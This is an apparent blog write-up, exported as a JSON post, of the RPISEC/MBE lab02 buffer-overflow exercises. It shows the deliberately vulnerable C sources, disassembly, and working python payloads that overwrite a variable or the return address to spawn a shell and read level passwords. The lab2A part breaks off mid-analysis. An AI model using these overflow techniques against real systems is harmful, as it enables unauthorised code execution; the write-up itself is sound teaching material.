{"id":109,"date":"2018-01-26T11:57:50","date_gmt":"2018-01-26T11:57:50","guid":{"rendered":"https:\/\/devel0pment.de\/?p=109"},"modified":"2018-05-20T19:52:18","modified_gmt":"2018-05-20T19:52:18","slug":"rpisec-mbe-writeup-lab02-memory-corruption","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=109","title":{"rendered":"RPISEC\/MBE: writeup lab02 (Memory Corruption)"},"content":{"rendered":"

In the last writeup for RPISEC\/MBE lab01<\/a> we used radare2 to reverse three different binaries in order to reveal a secret password or serial. In this writeup we continue with lab02 which broaches the issue of Memory Corruption<\/i>.<\/p>\n

As well as in the last lab there are three levels ranging from C to A:
\n–> lab2C<\/a>
\n–> lab2B<\/a>
\n–> lab2A<\/a><\/p>\n

<\/p>\n

\n

lab2C<\/h1>\n

We start by connecting to the first level of lab02 using the credentials lab2C<\/span> with the password lab02start<\/span>:<\/p>\n

\r\ngameadmin@warzone:~$ sudo ssh lab2C@localhost\r\nlab2C@localhost's password: (lab02start)\r\n        ____________________.___  _____________________________                \r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\               \r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/               \r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____              \r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/              \r\n                \\\/                      \\\/         \\\/         \\\/               \r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_ \r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/ \r\n\r\n        --------------------------------------------------------        \r\n\r\n                       Challenges are in \/levels                        \r\n                   Passwords are in \/home\/lab*\/.pass                    \r\n            You can create files or work directories in \/tmp            \r\n                    \r\n         -----------------[ contact@rpis.ec ]-----------------          \r\n\r\nLast login: Fri Jan 19 10:51:22 2018 from localhost\r\n<\/pre>\n
In contrast to the last lab, where we were only faced with the binary, in this lab we have access the source code. The source code is also located in the levels directory \/levels\/lab02\/<\/code>:<\/p>\n
\r\nlab2C@warzone:~$ cd \/levels\/lab02\r\nlab2C@warzone:\/levels\/lab02$ ls -al\r\ntotal 44\r\ndrwxr-xr-x  2 root    root  4096 Jun 21  2015 .\r\ndrwxr-xr-x 14 root    root  4096 Sep 28  2015 ..\r\n-r-sr-x---  1 lab2end lab2A 7500 Jun 21  2015 lab2A\r\n-r--------  1 lab2A   lab2A 1153 Jun 21  2015 lab2A.c\r\n-r-sr-x---  1 lab2A   lab2B 7451 Jun 21  2015 lab2B\r\n-r--------  1 lab2B   lab2B  474 Jun 21  2015 lab2B.c\r\n-r-sr-x---  1 lab2B   lab2C 7428 Jun 21  2015 lab2C\r\n-r--------  1 lab2C   lab2C  513 Jun 21  2015 lab2C.c\r\n<\/pre>\n
Let’s have a look:<\/p>\n
\r\nlab2C@warzone:\/levels\/lab02$ cat lab2C.c\r\n#include <stdlib.h>\r\n#include <stdio.h>\r\n#include <string.h>\r\n\r\n\/*\r\n * compiled with:\r\n * gcc -O0 -fno-stack-protector lab2C.c -o lab2C\r\n *\/\r\n\r\nvoid shell()\r\n{\r\n\tprintf("You did it.\\n");\r\n\tsystem("\/bin\/sh");\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif(argc != 2)\r\n\t{\r\n\t\tprintf("usage:\\n%s string\\n", argv[0]);\r\n\t\treturn EXIT_FAILURE;\r\n\t}\r\n\r\n\tint set_me = 0;\r\n\tchar buf[15];\r\n\tstrcpy(buf, argv[1]);\r\n\r\n\tif(set_me == 0xdeadbeef)\r\n\t{\r\n\t\tshell();\r\n\t}\r\n\telse\r\n\t{\r\n\t\tprintf("Not authenticated.\\nset_me was %d\\n", set_me);\r\n\t}\r\n\r\n\treturn EXIT_SUCCESS;\r\n}\r\n<\/pre>\n
The first thing we need to do is to spot the vulnerability within the source code. In this case there is a call to the function strcpy<\/code> on line 26. As the man page advises this function is prone to buffer overflows:<\/p>\n
\r\nlab2C@warzone:\/levels\/lab02$ man strcpy\r\nSTRCPY(3)                                                               Linux Programmer's Manual                                                              STRCPY(3)\r\n\r\nNAME\r\n       strcpy, strncpy - copy a string\r\n\r\nSYNOPSIS\r\n       #include <string.h>\r\n\r\n       char *strcpy(char *dest, const char *src);\r\n\r\n       char *strncpy(char *dest, const char *src, size_t n);\r\n\r\nDESCRIPTION\r\n       The  strcpy()  function  copies  the string pointed to by src, including the terminating null byte ('\0'), to the buffer pointed to by dest.  The strings may not\r\n       overlap, and the destination string dest must be large enough to receive the copy.  Beware of buffer overruns!  (See BUGS.)\r\n...\r\n<\/pre>\n
As stated in the man page the destination string must be large enough to receive the copy<\/i>. Because the destination string buf<\/code> is only 15 bytes long and the source string is the first parameter to the program (argv[1]<\/code>) we can simply input a larger string leading to a buffer overflow.<\/p>\n
On line 28 set_me<\/code> is compared to the value 0xdeadbeef<\/code>. If the comparison succeeds the function shell<\/code> is called kindly spawning a shell for us. Thus we need to use the buffer overflow vulnerability to overwrite the variable set_me<\/code> with the value 0xdeadbeef<\/code>.<\/p>\n
As with all local variables set_me<\/code> and buf<\/code> are placed on the stack. In the c source code set_me<\/code> is declared first. That means that it is pushed on the stack before buf<\/code>. Because the stack grows from bottom to the top set_me<\/code> is located at a higher address than buf<\/code>:<\/p>\n
X +  0:  [    buf   ]  <-- declared second\r\nX + 15:  [  set_me  ]  <-- declared first\r\n<\/pre>\n
Let’s have a quick view on the assembly to verify this assumption:<\/p>\n
\r\n...\r\n[0x080485b0]> pdf @ sym.main\r\n\u2552 (fcn) sym.main 119\r\n\u2502          ; arg int arg_0_2      @ ebp+0x2\r\n\u2502          ; arg int arg_3        @ ebp+0xc\r\n\u2502          ; DATA XREF from 0x080485c7 (entry0)\r\n\u2502          ;-- main:\r\n\u2502          ;-- sym.main:\r\n\u2502          0x080486cd    55             push ebp\r\n\u2502          0x080486ce    89e5           mov ebp, esp\r\n\u2502          0x080486d0    83e4f0         and esp, 0xfffffff0\r\n\u2502          0x080486d3    83ec30         sub esp, 0x30\r\n\u2502          0x080486d6    837d0802       cmp dword [ebp + 8], 2          ; [0x2:4]=0x101464c\r\n\u2502      \u250c\u2500< 0x080486da    741c           je 0x80486f8\r\n\u2502      \u2502   0x080486dc    8b450c         mov eax, dword [ebp + 0xc]      ; [0xc:4]=0\r\n\u2502      \u2502   0x080486df    8b00           mov eax, dword [eax]\r\n\u2502      \u2502   0x080486e1    89442404       mov dword [esp + 4], eax        ; [0x4:4]=0x10101\r\n\u2502      \u2502   0x080486e5    c70424f48704.  mov dword [esp], str.usage:_n_s_string_n  ; [0x80487f4:4]=0x67617375  ; "usage:.%s string." @ 0x80487f4\r\n\u2502      \u2502   0x080486ec    e85ffeffff     call sym.imp.printf             ; sub.printf_12_54c+0x4\r\n\u2502      \u2502     ^- sub.printf_12_54c() ; sym.imp.printf\r\n\u2502      \u2502   0x080486f1    b801000000     mov eax, 1\r\n\u2502     \u250c\u2500\u2500< 0x080486f6    eb4a           jmp 0x8048742\r\n\u2502     \u2502\u2514   ; JMP XREF from 0x080486da (sym.main)\r\n\u2502     \u2502\u2514\u2500> 0x080486f8    c744242c0000.  mov dword [esp + 0x2c], 0       ; [0x2c:4]=0x280009  ; ','\r\n\u2502     \u2502    0x08048700    8b450c         mov eax, dword [ebp + 0xc]      ; [0xc:4]=0\r\n\u2502     \u2502    0x08048703    83c004         add eax, 4\r\n\u2502     \u2502    0x08048706    8b00           mov eax, dword [eax]\r\n\u2502     \u2502    0x08048708    89442404       mov dword [esp + 4], eax        ; [0x4:4]=0x10101\r\n\u2502     \u2502    0x0804870c    8d44241d       lea eax, [esp + 0x1d]           ; 0x1d\r\n\u2502     \u2502    0x08048710    890424         mov dword [esp], eax\r\n\u2502     \u2502    0x08048713    e848feffff     call sym.imp.strcpy\r\n...\r\n<\/pre>\n
On line 23 the local variable set_me<\/code> stored in esp+0x2c<\/code> is initalized with 0. Before the call to strcpy<\/code> the address of second local variable buf<\/code> stored in esp+0x1d<\/code> is moved on the stack on line 28. Between both location there are exactly the 0x2c - 0x1d = 44 - 29 = 15<\/code> bytes of buf<\/code>. As predicted set_me<\/code> is located after buf<\/code> meaning that we can overwrite set_me<\/code> if we overflow buf<\/code>.<\/p>\n
Thus the only thing we need to do is call the program with the appropriate argument. This arguments must consist of 15 arbitrary bytes plus the 4 bytes we want to write into set_me<\/code>:<\/p>\n
argument =  XXXXXXXXXXXXXXX<\/span>YYYY<\/span>\r\n                 buf      set_me\r\n              (15 byte)  (4 byte)<\/pre>\n
As we want to set set_me<\/code> to the value 0xdeadbeef<\/code> we have to consider that integers are stored in little endian format. In little endian the bytes are stored in reverse order:<\/p>\n
integer =   0xde<\/span>ad<\/span>be<\/span>ef<\/span>\r\nmemory  :   ef<\/span> be<\/span> ad<\/span> de<\/span><\/pre>\n
On the commandline we can use python to create to appropriate string:<\/p>\n
\r\nlab2C@warzone:\/levels\/lab02$ .\/lab2C $(python -c 'print("A"*15+"\\xef\\xbe\\xad\\xde")')\r\nYou did it.\r\n$ whoami\r\nlab2B\r\n$ cat \/home\/lab2B\/.pass\r\n1m_all_ab0ut_d4t_b33f\r\n<\/pre>\n
Done \ud83d\ude42 The password for the next level is 1m_all_ab0ut_d4t_b33f<\/code>.<\/p>\n
\n
lab2B<\/h1>\n
The credentials for the next level are lab2B<\/span> with the password 1m_all_ab0ut_d4t_b33f<\/span>:<\/p>\n
\r\ngameadmin@warzone:~$ sudo ssh lab2B@localhost\r\nlab2B@localhost's password: (1m_all_ab0ut_d4t_b33f)\r\n        ____________________.___  _____________________________                \r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\               \r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/               \r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____              \r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/              \r\n                \\\/                      \\\/         \\\/         \\\/               \r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_ \r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/ \r\n\r\n        --------------------------------------------------------        \r\n\r\n                       Challenges are in \/levels                        \r\n                   Passwords are in \/home\/lab*\/.pass                    \r\n            You can create files or work directories in \/tmp            \r\n                    \r\n         -----------------[ contact@rpis.ec ]-----------------          \r\n\r\nLast login: Fri Jan 19 16:04:01 2018 from localhost\r\n<\/pre>\n
Again we have access to the source code:<\/p>\n
\r\nlab2B@warzone:\/levels\/lab02$ cat lab2B.c\r\n#include <stdlib.h>\r\n#include <stdio.h>\r\n#include <string.h>\r\n\r\n\/*\r\n * compiled with:\r\n * gcc -O0 -fno-stack-protector lab2B.c -o lab2B\r\n *\/\r\n\r\nchar* exec_string = "\/bin\/sh";\r\n\r\nvoid shell(char* cmd)\r\n{\r\n\tsystem(cmd);\r\n}\r\n\r\nvoid print_name(char* input)\r\n{\r\n\tchar buf[15];\r\n\tstrcpy(buf, input);\r\n\tprintf("Hello %s\\n", buf);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif(argc != 2)\r\n\t{\r\n\t\tprintf("usage:\\n%s string\\n", argv[0]);\r\n\t\treturn EXIT_FAILURE;\r\n\t}\r\n\r\n\tprint_name(argv[1]);\r\n\r\n\treturn EXIT_SUCCESS;\r\n}\r\n<\/pre>\n
Like in the previous level there is a call to the function strcpy<\/code> (line 20). As we have already seen in the last level, we can use this function to raise a buffer overflow, because the argument passed to the program (argv[1]<\/code>) is passed to the function print_name<\/code> which is then passed to strcpy<\/code> as the source string.<\/p>\n
There is also a user-defined function called shell<\/code> (lines 12-15), but it differs from the last one. This shell<\/code> function does not directly spawn a shell, but rather take one string argument, which is then passed to the function system<\/code>. If we have a look at the rest of the source code we notice that the function is actually never called. Thus we have to trigger it ourselves.<\/p>\n
Above the shell<\/code> function declaration on line 10 we can see that the author of the source code kindly declared a variable which contains the string we would like to pass the to shell<\/code> function: \"\/bin\/sh\"<\/code>.<\/p>\n
Summing it up we have to:
\n–> push the address of \"\/bin\/sh\"<\/code> on the stack
\n–> call the user-defined function shell<\/code><\/p>\n
In order to do this, the first thing we need to know is the address of the string \"\/bin\/sh\"<\/code> as well as the address of the function shell<\/code>. We can use r2 to do this:<\/p>\n
\r\n[0x080485c0]> iz~bin\r\nvaddr=0x080487d0 paddr=0x000007d0 ordinal=000 sz=8 len=7 section=.rodata type=a string=\/bin\/sh\r\n[0x080485c0]> is~shell\r\nvaddr=0x080486bd paddr=0x000006bd ord=070 fwd=NONE sz=19 bind=GLOBAL type=FUNC name=shell\r\n<\/pre>\n
The string \"\/bin\/sh\"<\/code> is at 0x080487d0<\/code> and the function shell<\/code> is at 0x080486bd<\/code>.<\/p>\n
Good for now. But how to we call the function shell<\/code>? If we have look at the source code again, we can see that strcpy<\/code> is called within the user-defined function print_name<\/code>. Let’s have a look at the assembly which calls the function print_name<\/code> is called:<\/p>\n
\r\n[0x080485c0]> pdf @ sym.main\r\n...\r\n\u2502     \u2502    0x08048730    890424         mov dword [esp], eax\r\n\u2502     \u2502    0x08048733    e898ffffff     call sym.print_name\r\n...\r\n<\/pre>\n
eax<\/code> contains the address of the string-argument passed to the program (argv[1]<\/code>). This address is moved on the stack and then the call<\/code> instructions is used to execute the print_name<\/code> function. After the function is executed, the processor needs to know where to proceed the execution. Thus the address of the next instruction after the call has to be saved. This is what the call<\/code> instruction does: it pushes the address of the next instruction on the stack and then jumps to the function’s address. When the function is entered, the stack looks like this:<\/p>\n
esp+0x00:  [ return address ]  <-- return address pushed by call<\/code> esp+0x04: [ argument ] <-- argument passed to function print_name<\/code><\/pre>\n
At the end of the function…<\/p>\n
\r\n[0x080485c0]> pdf @ sym.print_name\r\n...\r\n\u2558          0x080486fc    c3             ret\r\n<\/pre>\n
… there is a ret<\/code> instruction, which simply pops the top element of the stack (the return address formerly pushed by the call<\/code> instruction) and then jumps to that address. This way the execution can proceed at the location right after the call.<\/p>\n
As we have already seen in the last lab, we can use the buffer overflow vulnerability caused by the call to strcpy<\/code> in order to overwrite elements on the stack. The buffer we can overflow (buf<\/code>) is a local variable which is stored on the stack. Because this local variable is pushed on the stack after the return address is pushed, it is located before<\/u> the return address in memory (at a lower address). That is why we can overwrite the return address.<\/p>\n
Now we just need to know where the return address and the buffer are located on the stack in order to calculate how much bytes we need to write. A quite dull but effective way is to input a pattern long enough to overwrite the return address, let the program crash and then see which part of the pattern caused the crash. This can be done using gdb:<\/p>\n
\r\nlab2B@warzone:\/levels\/lab02$ gdb lab2B\r\nReading symbols from lab2B...(no debugging symbols found)...done.\r\ngdb-peda$ r AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ\r\nStarting program: \/levels\/lab02\/lab2B AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ\r\nHello AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n[----------------------------------registers-----------------------------------]\r\nEAX: 0x2f ('\/')\r\nEBX: 0xb7fcd000 --> 0x1a9da8 \r\nECX: 0x0 \r\nEDX: 0xb7fce898 --> 0x0 \r\nESI: 0x0 \r\nEDI: 0x0 \r\nEBP: 0x47474746 ('FGGG')\r\nESP: 0xbffff6c0 ("HIIIIJJJJ")\r\nEIP: 0x48484847 ('GHHH')\r\nEFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x48484847\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6c0 ("HIIIIJJJJ")\r\n0004| 0xbffff6c4 ("IJJJJ")\r\n0008| 0xbffff6c8 --> 0x804004a \r\n0012| 0xbffff6cc --> 0xb7fcd000 --> 0x1a9da8 \r\n0016| 0xbffff6d0 --> 0x8048740 (<__libc_csu_init>:\tpush   ebp)\r\n0020| 0xbffff6d4 --> 0x0 \r\n0024| 0xbffff6d8 --> 0x0 \r\n0028| 0xbffff6dc --> 0xb7e3ca83 (<__libc_start_main+243>:\tmov    DWORD PTR [esp],eax)\r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n<\/pre>\n
On line 2 you can see that I provided the pattern AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ<\/code> as argument to the program. On line 4 the program properly outputs the greeting-message right before receiving a SIGSEGV<\/code> signal (Segmentation fault). A segmentation fault is raised when the program tries to access memory which is not accessible. On line 19 we can see that this was caused by the instruction pointer (eip<\/code>) trying to access the address 0x48484847<\/code>. As you may have noticed, this is a part of our pattern because 0x48484847<\/code> equals GHHH<\/code>. Now we can calculate the offset:<\/p>\n
pattern =  AAAABBBBCCCCDDDDEEEEFFFFGGG<\/span>GHHH<\/span>HIIIIJJJJ<\/span>\r\n                     27 byte<\/span>          eip<\/span><\/pre>\n
Thus if we input the following string, we overwrite the return address and the code execution proceeds in the function shell<\/code>:<\/p>\n
\r\npython -c 'print("A"*27+"\\xbd\\x86\\x04\\x08")\r\n<\/pre>\n
Side note: patterns and the offset within the pattern can be easily create \/ calculated using the metasploit script pattern_create<\/code> and pattern_offset<\/code>.<\/i><\/p>\n
There is still one thing missing. We need to provide the \"\/bin\/sh\"<\/code> string to the shell<\/code> function. But where to put it? Right after the address of the shell<\/code> function? As the ret<\/code> instruction at the end of the print_name<\/code> function just pops our modified return address from the stack and directly jumps to that address, no ordinary call<\/code> instruction is executed. As we have already seen the stack should look like this at the entry of a function:<\/p>\n
esp+0x00:  [ return address ]  <-- return address pushed by call<\/code> esp+0x04: [ argument ] <-- argument passed to function shell<\/code><\/pre>\n
This is not the return address from the print_name<\/code> call but the return address from the shell<\/code> function we are returning to. Because there is no call<\/code> we need to put this return address on the stack ourselves. As we do not really care where the execution proceeds after<\/u> we got a shell, we can just put junk in here. A more elegant way would be to call exit<\/code> in order to gracefully shutdown the program.<\/p>\n
Summing this all up the string argument we need to pass the program looks like this:<\/p>\n
AAAABBBBCCCCDDDDEEEEFFFFGGG<\/span>GHHH<\/span>HIIIIJJJJ<\/span>\r\nXXXXXXXXXXXXXXXXXXXXXXXXXXX<\/span>AAAA<\/span>XXXX<\/span>BBBB<\/span>\r\n\r\nAAAA<\/span> = address of function shell<\/code> BBBB<\/span> = address of string \"\/bin\/sh\"<\/code><\/pre>\n
Now we can pass the final string to the program:<\/p>\n
\r\nlab2B@warzone:\/levels\/lab02$ .\/lab2B $(python -c 'print("X"*27 + "\\xbd\\x86\\x04\\x08" + "XXXX" + "\\xd0\\x87\\x04\\x08")')\r\nHello XXXXXXXXXXXXXXXXXXXXXXXXXXX...\r\n$ whoami\r\nlab2A\r\n$ cat \/home\/lab2A\/.pass\r\ni_c4ll_wh4t_i_w4nt_n00b\r\n<\/pre>\n
Done \ud83d\ude42 The password for the next level is i_c4ll_wh4t_i_w4nt_n00b<\/code>.<\/p>\n
\n
lab2A<\/h1>\n
The credentials for the last level of this lab are lab2A<\/span> with the password i_c4ll_wh4t_i_w4nt_n00b<\/span>:<\/p>\n
\r\ngameadmin@warzone:~$ sudo ssh lab2A@localhost\r\nlab2A@localhost's password: (i_c4ll_wh4t_i_w4nt_n00b)\r\n        ____________________.___  _____________________________                \r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\               \r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/               \r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____              \r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/              \r\n                \\\/                      \\\/         \\\/         \\\/               \r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_ \r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/ \r\n\r\n        --------------------------------------------------------        \r\n\r\n                       Challenges are in \/levels                        \r\n                   Passwords are in \/home\/lab*\/.pass                    \r\n            You can create files or work directories in \/tmp            \r\n                    \r\n         -----------------[ contact@rpis.ec ]-----------------          \r\n\r\nLast login: Fri Jan 19 16:10:00 2018 from localhost\r\n<\/pre>\n
We start by analyzing the provided source code:<\/p>\n
\r\nlab2A@warzone:\/levels\/lab02$ cat lab2A.c\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n\/*\r\n * compiled with:\r\n * gcc -O0 -fno-stack-protector lab2A.c -o lab2A\r\n *\/\r\n\r\nvoid shell()\r\n{\r\n        printf("You got it\\n");\r\n        system("\/bin\/sh");\r\n}\r\n\r\nvoid concatenate_first_chars()\r\n{\r\n        struct {\r\n                char word_buf[12];\r\n                int i;\r\n                char* cat_pointer;\r\n                char cat_buf[10];\r\n        } locals;\r\n        locals.cat_pointer = locals.cat_buf;\r\n\r\n        printf("Input 10 words:\\n");\r\n        for(locals.i=0; locals.i!=10; locals.i++)\r\n        {\r\n                \/\/ Read from stdin\r\n                if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\\n')\r\n                {\r\n                        printf("Failed to read word\\n");\r\n                        return;\r\n                }\r\n                \/\/ Copy first char from word to next location in concatenated buffer\r\n                *locals.cat_pointer = *locals.word_buf;\r\n                locals.cat_pointer++;\r\n        }\r\n\r\n        \/\/ Even if something goes wrong, there's a null byte here\r\n        \/\/   preventing buffer overflows\r\n        locals.cat_buf[10] = '\0';\r\n        printf("Here are the first characters from the 10 words concatenated:\\n\\\r\n%s\\n", locals.cat_buf);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n        if(argc != 1)\r\n        {\r\n                printf("usage:\\n%s\\n", argv[0]);\r\n                return EXIT_FAILURE;\r\n        }\r\n\r\n        concatenate_first_chars();\r\n\r\n        printf("Not authenticated\\n");\r\n        return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n
What does the program do?
\n–> the main-function simply calls the function concatenate_first_chars<\/code> (line 55)
\n–> in concatenate_first_chars<\/code> a struct named locals<\/code> is defined (line 18-23)
\n–> a prompt to input 10 words is displayed (line 26)
\n–> a for-loop initalizes locals.i<\/code> with 0 and keeps looping as long as locals.i<\/code> does not equal 10 (line 27)
\n–> locals.i<\/code> is incremented by one every loop-step (line 27)
\n–> within the loop-body fgets<\/code> reads a maximum of 0x10 = 16 bytes into locals.word_buf<\/code> from stdin (line 30)
\n–> the first read character from locals.word_buf<\/code> is copied to locals.cat_buf<\/code> by using the pointer locals.cat_pointer<\/code> (line 36)
\n–> locals.cat_pointer<\/code> is incremented by 1 in order to point to the next character within locals.cat_buf<\/code> on the next loop-iteration (line 37)
\n–> after the loop the 11th entry of locals.cat_buf<\/code> is set to 0 (which is actually a overflow because locals.cat_buf<\/code> is only 10 bytes long) (line 42)
\n–> the concatenated string locals.cat_buf<\/code> is printed (line 43-44)<\/p>\n
Like in the first level there is a function named shell<\/code>, which does not take any arguments and spawns a shell (lines 10-14). Thus our goal is to call this function. As we have already seen in the second level of this lab, this can be achieved by overwriting the return address within a function call if there is a vulnerability we can exploit.<\/p>\n
As you may have noticed, on line 30 fgets<\/code> reads 16 bytes into locals.word_buf<\/code>. If we have a look at the struct declaration on line 19 we can see that locals.word_buf<\/code> is only 12 bytes long. Thus we can overflow locals.word_buf<\/code> by 4 bytes. These 4 bytes would be written into the variable following locals.word_buf<\/code>, which is locals.i<\/code>: the loop-index! This way we can control how much iterations the loop does.<\/p>\n
Within the loop-body locals.cat_pointer<\/code> is incremented on each iteration without any further checking. If the loop iterates more than 10 times, the memory following locals.cut_buf<\/code> is overwritten. As we have seen in the second level of this lab, this memory contains the return address, which has been pushed by the last call<\/code> instruction (in this case call concatenate_first_chars<\/code>).<\/p>\n
Summing it up we have to:<\/p>\n
    \n
  1. determine the input to overwrite locals.i<\/code> so that the loop iterates enough times to make locals.cat_pointer<\/code> point to the return address<\/li>\n
  2. get the address of the function we want to call (shell<\/code>)<\/li>\n
  3. determine the location of the return address on the stack<\/li>\n
  4. construct the final input to the program<\/li>\n<\/ol>\n
    1. overwrite loop-index locals.i<\/h3>\n
    Because we want to overwrite the stack by using the locals.cat_pointer<\/code> which is incremented within the loop-body, we need to manipulate the loop-index in order to make more than 10 iterations. As the loop-index i<\/code> is located directly after the buffer which we can overflow (word_buf<\/code>), it suffices to input 12 arbitrary characters. Because the input is read using fgets<\/code> the newline (0xa<\/code>) entered to end the input is also put into the destination string. Thus the memory looks like this if we write 12 characters:<\/p>\n
    \r\n[--------------word_buf-----------] [----i----]\r\nX  X  X  X  X  X  X  X  X  X  X  X  \\n\r\n58 58 58 58 58 58 58 58 58 58 58 58 0a 00 00 00\r\n<\/pre>\n
    As the integer value of i<\/code> is stored in little endian and thus the first byte is the least significant byte the value of i<\/code> is just 0xa = 10<\/code>. This value is incremented by one and then compared to 10. This way the loop keeps iterating (i = 11, 12, 13, …). In order to exit the loop we can enter an empty line. If locals.word_buf[0]<\/code> is equal to '\\n'<\/code> the function returns (line 30).<\/p>\n
    2. address of function shell<\/h3>\n
    This is quite easy as we already did it in the last levels using radare2:<\/p>\n
    \r\nlab2A@warzone:\/levels\/lab02$ r2 lab2A\r\n -- In Soviet Russia, radare2 have documentation.\r\n[0x08048600]> aaa\r\n[0x08048600]> is~shell\r\nvaddr=0x080486fd paddr=0x000006fd ord=071 fwd=NONE sz=32 bind=GLOBAL type=FUNC name=shell\r\n<\/pre>\n
    The function shell<\/code> is located at 0x080486fd<\/code>.<\/p>\n
    3. location of return address<\/h3>\n
    This is a little bit more complicated. We could modify the loop-index, overwrite the stack with a pattern and then see which part of the pattern causes a segmentation fault like we did in the second level. This time we want to calculate the offset statically for learning purpose. All we need is to have a look at the concatenate_first_chars<\/code> function using r2:<\/p>\n
    \r\n[0x08048600]> pdf @ sym.concatenate_first_chars \r\n\u2552 (fcn) sym.concatenate_first_chars 153\r\n\u2502          ; var int local_2_2    @ ebp-0xa\r\n\u2502          ; var int local_6      @ ebp-0x18\r\n\u2502          ; var int local_7      @ ebp-0x1c\r\n\u2502          ; var int local_10     @ ebp-0x28\r\n\u2502          ; CALL XREF from 0x080487e1 (sym.main)\r\n\u2502          ;-- sym.concatenate_first_chars:\r\n\u2502          0x0804871d    55             push ebp\r\n\u2502          0x0804871e    89e5           mov ebp, esp\r\n\u2502          0x08048720    83ec38         sub esp, 0x38\r\n\u2502          0x08048723    8d45d8         lea eax, [ebp-local_10]\r\n\u2502          0x08048726    83c014         add eax, 0x14\r\n\u2502          0x08048729    8945e8         mov dword [ebp-local_6], eax\r\n\u2502          0x0804872c    c70424a38804.  mov dword [esp], str.Input_10_words:  ; [0x80488a3:4]=0x75706e49  ; "Input 10 words:" @ 0x80488a3\r\n\u2502          0x08048733    e888feffff     call sym.imp.puts\r\n...\r\n<\/pre>\n
    How does the stack look like? When the function is called the call<\/code> instruction stores the return address we want to override on the top of stack:<\/p>\n
    esp     :  [   return address   ]  <-- pushed by call<\/code> instruction\r\n<\/pre>\n
    In the function prologue ebp<\/code> is pushed on the stack (line 9):<\/p>\n
    esp     :  [      saved ebp     ]  <-- pushed in function prologue\r\nesp+0x04:  [   return address   ]  <-- pushed by call<\/code> instruction\r\n<\/pre>\n
    On line 10 ebp<\/code> is set to the value of esp<\/code> since local variables are referenced with ebp<\/code>:<\/p>\n
    ebp     :  [      saved ebp     ]  <-- pushed in function prologue\r\nebp+0x04:  [   return address   ]  <-- pushed by call<\/code> instruction\r\n<\/pre>\n
    To calculate the offset to the return address we need to know where the struct is located on the stack. On line 12 we can see that eax<\/code> is loaded with the address ebp-local_10<\/code> (this is ebp-0x28<\/code> as you can see at the top of the r2 output on line 6). On line 13 0x14<\/code> is added to this address. The result is stored at ebp-local_6<\/code> (ebp-0x18<\/code>). This equals line 24 of the original source code where locals.cat_pointer<\/code> is set to the address of locals.cat_buf<\/code>. Thus we have already two offsets of the struct. locals.cat_pointer<\/code> is located at ebp-0x18<\/code> and locals.cat_buf<\/code> is located at ebp-0x28 + 0x14 = ebp-0x14<\/code>. Now we can add the other struct-members and outline the stack:<\/p>\n
    ebp-0x28:  [   locals.word_buf  ]\r\nebp-0x1c:  [       locals.i     ]\r\nebp-0x18:  [ locals.cat_pointer ]\r\nebp-0x14:  [   locals.cat_buf   ]\r\nebp-0x0a:            ...\r\nebp     :  [      saved ebp     ]  <-- pushed in function prologue\r\nebp+0x04:  [   return address   ]  <-- pushed by call<\/code> instruction\r\n<\/pre>\n
